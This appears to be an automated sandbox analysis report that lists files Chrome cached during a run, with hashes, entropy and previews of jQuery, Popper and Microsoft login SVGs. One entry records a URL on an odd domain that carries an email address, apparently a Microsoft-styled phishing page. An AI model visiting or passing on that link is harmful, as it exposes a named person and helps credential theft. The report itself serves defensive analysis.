File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	513
Entropy (8bit):	4.720499940334011
Encrypted:	false
SSDEEP:	12:t4BdU/uRqv6DLfBHKFWJCDLfBSU1pRXIFl+MJ4bADc:t4TU/uRff0EcfIU1XXU+t2c
MD5:	A9CC2824EF3517B6C4160DCF8FF7D410
SHA1:	8DB9AEBAD84CA6E4225BFDD2458FF3821CC4F064
SHA-256:	34F9DB946E89F031A80DFCA7B16B2B686469C9886441261AE70A44DA1DFA2D58
SHA-512:	AA3DDAB0A1CFF9533F9A668ABA4FB5E3D75ED9F8AFF8A1CAA4C29F9126D85FF4529E82712C0119D2E81035D1CE1CC491FF9473384D211317D4D00E0E234AD97F
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.578H18v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944m0-.141-.071.07L5.929,11.929,5.858,12l.071.071,4.944,4.944.071.07.071-.07.594-.595.071-.07-.071-.071L7.858,12.522H18.1V11.478H7.858l3.751-3.757.071-.071-.071-.07-.594-.595-.071-.07Z" fill="#404040"/></svg>

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	16725
Entropy (8bit):	7.976300407789798
Encrypted:	false
SSDEEP:	384:6XbFxwocQojlgZFMUr3TaTu2Gwc+olPkLm1Db:mXw8ojsMUv8u2GjrdB
MD5:	9992552BA04356F2835C56B7C36742C9
SHA1:	5F03D93788B020481677C6FB63E339591B6CDED0
SHA-256:	C5C8574154B6719C55169A278CFDBE7726656FD71CADE5C251ADCE708F748A57
SHA-512:	8A85C99DCE25BFB171306FDCFBD3216CC95B0B3D6EEE91D51975BFCE3A96E3A94AAE47033AE55D5E49B291645CFF7F1231A64DE322AF9F0B22E2ADD4033E04AB
Malicious:	false
URL:	https://t6vgccvtc.thehang.top:8443/impact?H5Ckk4e32O1aAbGyJBHkey=versteeg@ku.edu
Preview:	c....Q...D..!...p....._..w......z....{4.1b.5"..Rn`..............'K....{) $K;.R.$.7I.........w9i.rH.>.}...V.~.--\|k\\|yI........H..w..F...M4.Y....Gs"S@..0-C...."......R.).6e..qJm...c.O..t.N..>Gm..H.J. }.........n...........\}zCj......0...:w..>>..x..D...5...u..4o.1.N.....~..?...?.B....<o.O.}...>>.g..v.....>...G......?...~....z\|...8U.g.......K.....I. ?.[Wo.j...;....H....~ddw.\|~]...a..'q....._.....t$.-.a...bE.....B+........0.L.j.{.$rO+......G...@..W........L.........R}}...V?...._?.ky\|M..Q.....!_......-..e.....s[.).!..o.{e5#.....-b.........BKo.M.0....=.....?...S./.....T...x..0.a.j....T........).1!....-....^.a......&J..E.........~..?.. ...;..dd.]W.%....5D.5.L.I.p.]P...r...C...$-R.....0.20....O.>........2TS.}IX...........t....&..\...F...Q.sq?.7...@E.i......e$.X.....3?.K.y.#......P......v.`.1B].. Co....%AO...kcgC..2}..Q.w....#..g.....T..T.h.Y....U.M.'-\%K.y.60.yW$..sr..N.~..uFj~...yF....C...gN...)t..Y..a.....f.0...ufa2@..T..b.mae......i..d..1.8=..N

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	227156
Entropy (8bit):	5.0697489414542725
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKup:9pZcYmDcHwFygmY1Pff
MD5:	76BFA326EF270DA7E8572E8D5F11784D
SHA1:	497C9EDD530DE25ABB3A88D8C426B6BC80CB5820
SHA-256:	A815203D564C6DEA18E17A0795C5959735E8CA4752F4487AEDA622055D1D6C73
SHA-512:	21D2E59D0CB3340E6A3F363C73F4349FAE3FCF8753AC2DA10555BF97E91DC9AE9323F0DB35801DE689F9B4422FB36257E5F1A09A2C1FAB193DB48F19E5912112
Malicious:	false
URL:	https://code.jquery.com/jquery-3.3.1.js
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
